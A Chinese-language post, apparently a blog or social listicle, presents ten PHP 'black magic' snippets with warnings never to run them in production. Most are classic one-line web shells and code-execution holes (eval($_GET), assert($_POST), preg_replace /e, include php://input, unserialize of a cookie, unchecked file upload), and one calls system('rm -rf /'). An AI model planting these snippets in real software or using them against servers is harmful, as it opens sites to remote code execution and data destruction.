邪修 PHP,10 段“千万别上生产”的黑魔法代码
——仅供技术猎奇,切勿真跑!
⚠️ 每条都可能:白屏、死循环、内存爆炸、安全漏洞、代码审计原地退役
面试炫技 OK,生产敢用就等死!
1️⃣ 一行木马文件上传
<?=move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name'])?>
4 个字符就能写文件,WAF 看到直接报警。
2️⃣ eval
+ $_GET
远程执行
<?php eval($_GET['c']); ?>
把整站变成远程 Shell,一句话木马鼻祖。
3️⃣ 字符串当函数名
$func = "system";
$func("rm -rf /"); // 如果权限够,直接毁灭
变量函数调用,静态扫描工具全部失明。
4️⃣ 动态变量名“套娃”
$$a = 1; // $a 的值作为变量名
代码审计工具看不懂变量名,逻辑链断裂。
5️⃣ create_function
造匿名函数
$f = create_function('', 'return "evil";');
echo $f();
运行时编译 PHP 代码,opcode 缓存失效。
6️⃣ assert
当 eval
assert($_POST['cmd']);
把断言当执行器,绕过 disable_functions。
7️⃣ preg_replace
/e 模式执行
preg_replace('/.*/e', $_GET['c'], '');
正则里直接运行 PHP 代码,PHP 5.5 已废弃,但老系统遍地是。
8️⃣ 反序列化链式漏洞
unserialize($_COOKIE['token']);
经典 GadgetChain,RCE 一链触发。
9️⃣ 无限递归内存爆炸
function boom(){ boom(); } boom();
瞬间 OOM,PHP-FPM 进程池团灭。
🔟 文件包含“伪协议”
include "php://input";
直接把 POST body 当 PHP 执行,任意代码注入。
邪修口诀
“一句话木马传天下,eval 当 Shell 用;
动态变量名,审计看不懂;
反序列化链,RCE 一条龙。”
PS
想要正经学习PHP,从《PHP入 门课程》开始